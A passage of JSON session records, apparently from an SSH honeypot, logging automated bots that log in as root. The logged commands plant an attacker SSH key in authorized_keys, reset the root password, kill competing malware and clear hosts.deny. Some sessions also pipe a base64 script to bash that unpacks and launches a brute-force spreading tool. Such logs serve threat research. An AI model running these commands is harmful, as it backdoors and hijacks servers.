GNU/Linux"},{"seq":27,"at":"2026-08-26T10:06:35.206614+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:06:35.207400+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:06:35.792726+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:06:36.317454+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:06:36.906684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:06:37.500170+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@s$w0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"7c1f6698-5755-41d9-a772-0cda63287b4a","name":"creaky-diligent-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":59822,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":591,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T09:18:23.297909+00:00","ended_at":"2026-08-26T09:18:24.030659+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-26T09:17:58.504564+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T09:17:59.511436+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T09:18:11.679681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T09:18:11.680595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T09:18:12.272143+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ITJM4xdm1ojQ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T09:18:13.260939+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T09:18:13.847028+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T09:18:13.847346+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T09:18:14.437480+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T09:18:15.025960+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T09:18:15.619171+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T09:18:16.456412+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T09:18:17.049176+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T09:18:17.049687+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T09:18:17.642715+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T09:18:17.643555+00:00","kind":"output","latency_ms":null,"data":" 09:18:17 up 6 days, 6:08, 0 user, load average: 0.07, 0.08, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T09:18:18.230404+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T09:18:18.231917+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T09:18:18.822840+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T09:18:18.825256+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T09:18:19.418338+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T09:18:19.418963+00:00","kind":"output","latency_ms":null,"data":"top - 09:18:19 up 6 days, 6:08, 0 user, load average: 0.07, 0.08, 0.06\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T09:18:20.008117+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T09:18:20.008768+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T09:18:20.598647+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T09:18:20.599128+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T09:18:21.189029+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T09:18:21.189738+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T09:18:21.779278+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T09:18:22.311413+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T09:18:23.299037+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T09:18:23.846577+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123abc321","method":"password","accepted":true,"tier":"other"}]} {"id":"74526c11-02f0-421e-bc64-60a9b9ce3ee7","name":"gilded-glacial-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.143.238.100","src_port":53956,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":257,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:47:19.457008+00:00","ended_at":"2026-08-26T05:47:19.533615+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3807,"events":[{"seq":1,"at":"2026-08-26T05:46:55.779056+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:46:56.038155+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:46:59.312882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:46:59.313348+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:46:59.575431+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAfQVeGLAzYw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:46:59.827673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:47:00.083782+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T05:47:00.084666+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T05:47:00.209401+00:00","kind":"output","latency_ms":635,"data":""},{"seq":10,"at":"2026-08-26T05:47:00.343793+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:47:01.094588+00:00","kind":"output","latency_ms":749,"data":"15888 2143 12345 0 0 0"},{"seq":12,"at":"2026-08-26T05:47:01.347554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:47:01.812077+00:00","kind":"output","latency_ms":464,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:47:02.062067+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:47:02.062533+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:47:02.324335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:47:02.325352+00:00","kind":"output","latency_ms":null,"data":" 05:47:02 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:47:02.575825+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:47:02.576332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:47:02.837127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:47:02.837614+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:47:03.103674+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:47:03.104305+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:03 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:47:03.359138+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:47:03.371998+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:47:03.619239+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:47:03.619713+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:47:03.866670+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:47:03.867407+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:47:04.111547+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:47:05.152471+00:00","kind":"output","latency_ms":1040,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:47:05.408700+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:47:05.748465+00:00","kind":"output","latency_ms":338,"data":"29G"},{"seq":34,"at":"2026-08-26T05:47:06.736723+00:00","kind":"input","latency_ms":null,"data":"echo \"root 12345678900987654321\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:47:06.992317+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:47:07.294733+00:00","kind":"output","latency_ms":301,"data":""},{"seq":37,"at":"2026-08-26T05:47:07.854920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:47:08.551896+00:00","kind":"output","latency_ms":703,"data":"root 12345678900987654321"},{"seq":39,"at":"2026-08-26T05:47:08.809351+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:47:09.208560+00:00","kind":"output","latency_ms":398,"data":"root 12345678900987654321"},{"seq":41,"at":"2026-08-26T05:47:09.459320+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:47:09.714151+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:47:10.069880+00:00","kind":"output","latency_ms":355,"data":"1"},{"seq":44,"at":"2026-08-26T05:47:10.327682+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:47:10.692594+00:00","kind":"output","latency_ms":365,"data":"1"},{"seq":46,"at":"2026-08-26T05:47:10.950315+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:47:19.457666+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-26T05:47:19.458204+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"12345678900987654321","method":"password","accepted":true,"tier":"other"}]} {"id":"c0f1f91f-14eb-443c-927e-66e77cd79df1","name":"golden-genial-skink","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.224.160","src_port":56948,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":648,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:01:27.203810+00:00","ended_at":"2026-08-26T05:01:27.406284+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3963,"events":[{"seq":1,"at":"2026-08-26T05:00:29.624742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:00:30.280132+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:00:36.486850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:00:36.488427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:00:37.135555+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9exLzm2gmtBl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:00:37.786310+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:00:38.009202+00:00","kind":"output","latency_ms":872,"data":""},{"seq":8,"at":"2026-08-26T05:00:38.434473+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T05:00:38.435377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T05:00:39.084919+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:00:39.889875+00:00","kind":"output","latency_ms":804,"data":"15888 11234 4654 0 0 0"},{"seq":12,"at":"2026-08-26T05:00:40.539045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:00:41.368595+00:00","kind":"output","latency_ms":828,"data":"-rwxr-xr-x 1 root root 133K Apr 23 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:00:42.017954+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:00:42.018684+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:00:42.668688+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:00:42.669189+00:00","kind":"output","latency_ms":null,"data":" 05:00:42 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:00:43.317477+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:00:43.317840+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:00:43.965885+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:00:43.966570+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:00:44.616755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:00:44.617472+00:00","kind":"output","latency_ms":null,"data":"top - 05:00:44 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:00:45.264632+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:00:45.266483+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:00:45.912220+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:00:45.913340+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:00:46.560539+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:00:46.561121+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:00:47.209114+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:00:48.534181+00:00","kind":"output","latency_ms":1313,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:00:49.185754+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:00:49.851487+00:00","kind":"output","latency_ms":668,"data":"25G"},{"seq":34,"at":"2026-08-26T05:00:55.065031+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123654\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:00:55.715026+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:00:56.080592+00:00","kind":"output","latency_ms":365,"data":""},{"seq":37,"at":"2026-08-26T05:00:58.025256+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:00:58.541357+00:00","kind":"output","latency_ms":515,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-26T05:00:59.192639+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:00:59.663911+00:00","kind":"output","latency_ms":473,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-26T05:01:00.312100+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:01:00.957523+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:01:01.406689+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-26T05:01:02.054784+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:01:02.491545+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-26T05:01:03.139999+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:01:03.479606+00:00","kind":"output","latency_ms":339,"data":""},{"seq":48,"at":"2026-08-26T05:01:27.204388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-26T05:01:27.205588+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123654","method":"password","accepted":true,"tier":"other"}]} {"id":"02d24a53-b8a1-475b-9430-57bff8df9935","name":"dapper-umber-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"107.150.103.210","src_port":26246,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":250,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:16:25.635410+00:00","ended_at":"2026-08-25T21:16:25.703055+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3446,"events":[{"seq":1,"at":"2026-08-25T21:15:46.303040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:15:46.552356+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 